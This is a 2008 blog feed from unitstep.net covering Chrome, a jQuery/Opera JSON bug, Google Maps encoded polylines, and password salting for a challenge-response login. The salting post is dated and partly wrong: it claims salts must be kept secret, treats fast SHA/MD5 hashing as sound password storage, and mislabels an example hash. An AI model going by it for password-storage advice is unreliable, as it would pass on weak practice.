Lastly, there are always privacy concerns, especially from a company as big an involved as Google.  Though you can turn off the sending of usage statistics, there will always be some with their tinfoil hats on.
Conclusions
All things considered, Chrome is a very good entry into the browser market.  While I don’t think it’s ready to take on Firefox or IE yet, it does provide competition.  So as long as Chrome continues to support standards (which I think it will, since it uses the WebKit renderer and Google has also been forthcoming with their support for web developers), I won’t have a problem with it.  I won’t be switching over to it anytime soon, but at the very least it’ll be a useful development tool to verify/test my websites on to make sure they look proper in Safari/Konqueror/Chrome.
Copyright © 2012 unitstep.net. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact webmaster@unitstep.net for more information.
Plugin by Taragana


Upgrade jQuery for better Opera support (Or just upgrade Opera)
Peter Chng — Thu, 26 Jun 2008 00:45:43 +0000
I ran into a weird problem while testing one of my sites that used jQuery with Opera 9.26.  (I happened to be using this older version of Opera because I am lazy to upgrade; I’m still using Firefox 2 despite the successful launch of FF3)
The issue was with an Ajax request I was sending.  The return value was an array in JSON form.  More specifically, the server was returning something like:
{tag:[{id1:'A',id2:'B'}, {id1:'A',id2:'B'}, {id1:'A',id2:'B'}]}
This was perfectly valid and worked fine in both Firefox and Internet Explorer.  However, in Opera 9.26, I got a JavaScript error indicating that the JSON was not valid.  It was then that I realized I was using an older version of jQuery, v1.2.2.  Upgrading to the latest, 1.2.6 fixed the problem.  Strangely, I could not find anything on their bug tracker indicating that such a problem (JSON and Opera) had been fixed.
What was even more interesting was that upgrading to Opera 9.50 also solved the problem independently; that is, things worked fine even with the older version of jQuery.  This goes to show the importance of keeping your software up to date and highlights the complicated interactions between different browsers and client-side code in a web application. 
Copyright © 2012 unitstep.net. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact webmaster@unitstep.net for more information.
Plugin by Taragana


Playing with Google Maps and encoded polylines
Peter Chng — Mon, 12 May 2008 01:35:59 +0000

I’ve been playing around with the Google Maps API for a bit and it’s turned out to be a great way to get started with “mashups” and the like.  One of the best uses of the API is the ability to create paths or routes on the map.
This is done by creating GPolyline object and then adding it as an overlay to the map.  Basically, a polyline is just an ordered list of geographical points/coordinates on the map, each of which is a GLatLng object.  For serialization/storage of polylines, there is an algorithm you can use to Base64-encode a series of points; the resultant string can later be passed directly into a factory method to regenerate the GPolyline.  By using encoded polylines, you also get access to a few more interesting and useful options related to rendering and performance issues.
Encoded Polylines
Despite the algorithm for encoding polylines being readily available on the Google Maps API documentation site, there is no built-in functionality within the API for generating the encoded polyline string from an existing GPolyline object.  This might be a bit strange, but it’s probably because the encoding process requires some extra values that aren’t available in the typical polyline.
As specified on the algorithm page, you also need to specify a list of encoded “levels” in addition to the points themselves.  These levels tell the the Google Maps renderer when certain points can be omitted from the polyline depending on the zoom level.  For example, with a polyline with n points, you’ll always want to show the first and last point, no matter what the zoom level.  However, intermediate points can potentially be omitted at low zoom levels and only shown when the map has been sufficiently zoomed in to warrant the detail.  This sort of optimization cannot be done with the typical GPolyline constructor that just takes an array of points. (GLatLng objects)
Making things easy
If you’ve looked at the polyline encoding algorithm, you’ll probably notice that it’s a bit tricky unless you’ve taken course in CS or done a lot of this stuff before. (At least it was tricky for me)  Google has an interactive utility for generating the encoded polyline format for you.  The results can then be stored and later fed into a call to the factory method GPolyline.fromEncoded() to regenerate the polyline.
However if you want to generate the encoded polyline format on-the-fly as part of your application, the interactive utility is not really an option.  Instead of coding the algorithm from the ground-up, there’s a much better way of doing things, thanks to the PolylineEncoder class and other utilities provided by Mark McClure.
The PolylineEncoder class is written in JavaScript and is very straightforward in its usage.  (It has been ported to several other languages as listed on his site, in case you need to use it in different contexts)
Using this class allows you to quickly and easily convert a GPolyline into a compact encoded format useful for serialization or storage.  You can also use the class to convert arrays of points into encoded polylines, thus gaining the benefit of optimized rendering at different zoom levels.  McClure goes into an in-depth, but easy to understand explanation of the encoding algorithm used complete with animations that show exactly how the polyline approximations work.
I highly recommend the usage of his polyline encoder as it saves you the headache of implementing it yourself.  It’s well-written, thoroughly documented and is free for usage. (It isn’t licensed under open-source terms but has instead been placed in the public domain – which is perhaps even more “free”) McClure also has a few other interesing Google Maps projects that you may want to check out.
Some documentation warnings
The Google Maps API documentation is fairly thorough, but it’s out of date in some places, as some people have found.  Indeed, in this case, it appears that the GPolyline.fromEncoded() is documented somewhat wrongly in the API reference, though curiously, is used properly in their examples page.  
Specifically, you should not use:
GPolyline.fromEncoded(color?,  weight?,  opacity?,  latlngs,  zoomFactor,  levels,  numLevels)
if you want to generate a polyline from the encoded format.  Instead, you should use something like:
GPolyline.fromEncoded({
    color: "#FF0000",
    weight: 10,
    points: "yzocFzynhVq}@n}@o}@nzD",
    levels: "BBB",
    zoomFactor: 32,
    numLevels: 4
});
This is because the API has been updated to accept an object of options instead of separate parameters.  This, in my opinion, is better for readability and takes advantage of JavaScript’s ability to define inline anonymous object literals.  
As a side note, the example actually calls something like new GPolyline.fromEncoded, but I’ve found that you don’t need the new keyword, and in fact, it’s a bit confusing that the example has it and that it would work – after all, you are calling a factory method that returns a type of GPolyline, and not directly instantiating an object. (At least as far as JavaScript uses the new keyword)
Copyright © 2012 unitstep.net. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact webmaster@unitstep.net for more information.
Plugin by Taragana


Password salting and the modified Challenge-Response system
Peter Chng — Tue, 29 Apr 2008 01:12:42 +0000
Since I released my demo/example modified Challenge-Response Ajax PHP Login System about a month ago (which was based on ideas from Paul Johnston), I’ve been receiving some questions about why salting was not incorporated into the system.  In particular, there was a discussion at a Dutch-language forums, which I somewhat understood after Google translation. 
Here, I’ll try to address some of these concerns and answer some questions.
Salt of the earth
To understand why salting is used, we must first understand exactly what it is.  Just like regular salt, in cryptography, salting is used to alter the “taste” or output of some process. 
In the case of password storage, most people would realize that you should never store lists of users’ passwords in plaintext, because if that data is ever compromised, attackers will gain access not only the compromised accounts but could potentially use the passwords to gain access to user accounts on other services/sites.  This is because people often reuse the same passwords across multiple account/services.
The easiest way to avoid this is to store the hash of the password.  A hash is a one-way function, that is, once you compute the hash of a value, you cannot obtain the original from just the hashed value.  Some typical hash functions are MD5 or the more secure family of SHA hash functions.
However, this still doesn’t fully conceal passwords.  If an attacker were to obtain the list of hashed passwords, they could try a dictionary-based attack to discover the original inputs.  This involves hashing common words to see if they hash to the correct value.  Since people often use common words or combinations of such, a dictionary-based attack has the advantage of having far fewer combinations that the attacker needs to try compared to a true brute-force attack.
Adding variability
This problem can be mitigated by salting, which basically amounts to combining the password with additional input before passing it into the hash function.  This alters the end output from the hash function so that a dictionary-based attack cannot be used, provided the salt is kept a secret.  A comparison example:
Without salting:
hash(A) -> B;

With salting:
hash (A + S) -> C;
In the first example, salting was not used before hashing.  Assuming the value ‘A’ is a common word or phrase, an attacker can use a dictionary-attack to determine what the value of ‘A’ was. (I.E. what value hashes to the value of ‘C’)
With salting, things become more difficult.  If the attacker does not know the value of the salt (S), they cannot use a dictionary-based attack because the actual input will not be a common word or phrase.  Instead, they must try all values in the dictionary with all possible values of the salt.  In fact, every bit of the added salt value doubles the number of computations in a dictionary-based attack.  The important point to retain here is the salt value must be kept a secret in order to obtain this benefit.
One other benefit of salting is to ensure that two accounts with the same password don’t produce the same hash.  This can be accomplished by making different accounts have different salts.  The obvious benefit of this is to decrease the information leakage from the hashes, as otherwise, equivalent hashes would infer equivalent passwords.
Salting and the modified Challenge-Response System
With the modified challenge-response system, it isn’t clear to me how salting could be used to improve it.  Here’s a quick re-cap of how it works:

Signup:
1. Server sends random1

2. Client sends hex_sha1(hex_hmac_sha1(password, random1))
Login:
1. Server sends random1 and random2

2. Client sends hex_hmac_sha1(password, random1) and hex_sha1(hex_hmac_sha1(password, random2))

To login, the user must present two values: One to verify that they know the password, and the second value, which is used to set the response that must be computed for the next login.
Because the client must compute the next response value, it’s a bit tricky to implement salting in a way that’s beneficial. 
One possible method would be to further hash the second value (hex_sha1(hex_hmac_sha1(password, random1))) with a server secret before storing it in the database.  This would complicate things should the database be compromised but not the server secret, since a dictionary attack would become much harder with the extra variability of a server secret.  In this case, the work flow would look something like this:
Signup

Server sends random1
Client sends hex_sha1(hex_hmac_sha1(password, random1)) [Let's call this value `hashed_challenge_response` for brevity]
Server stores hex_hmac_sha1(server_secret, hashed_challenge_response)

Login:

Server sends random1 and random2
Client sends hex_hmac_sha1(password, random1) and hex_sha1(hex_hmac_sha1(password, random2))
Server computes hex_sha1(hex_hmac_sha1(password, random1)) [Call this `hashed_challenge_response_received`]
Server checks if hex_hmac_sha1(server_secret, hashed_challenge_response_received) equals the value previously stored.  If so, authentication was successful and a new challenge-response is stored based on the second value received.

Note that this method would not improve the login security anymore, since an attacker who captured the intermediate traffic of a successful login could still conduct an offline dictionary attack, which this challenge-response system is unfortunately susceptible to.
However, the modified system does benefit from the use of the `random1` and `random2` challenge strings, which are stored alongside the response values.  Since these are random and different for each user (and for each subsequent login), accounts with the same password will not have the same hash-response.  This effectively gives the second lesser benefit of salting.
The modified challenge-response system also suffers from the inability of the server to enforce strong passwords.  Because the initial value sent during registration is a hashed value of the password and a random value, the server cannot be aware of any properties of the password such as its length or composition.  The only aspect that could be enforced server-side would be to make sure the password was not blank!  My suggestion is to (attempt to) enforce password complexity using JavaScript on the client side.  Such rules can obviously be circumvented but are better than nothing.
Conclusion
Hopefully I’ve shed some light on the topic of salting in relation to the modified challenge-response Ajax PHP login system.  I’m no security expert, so you should not take my advise as scripture.  Please don’t hesitate to give me your comments or feedback!
Copyright © 2012 unitstep.net. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact webmaster@unitstep.net for more information.
Plugin by Taragana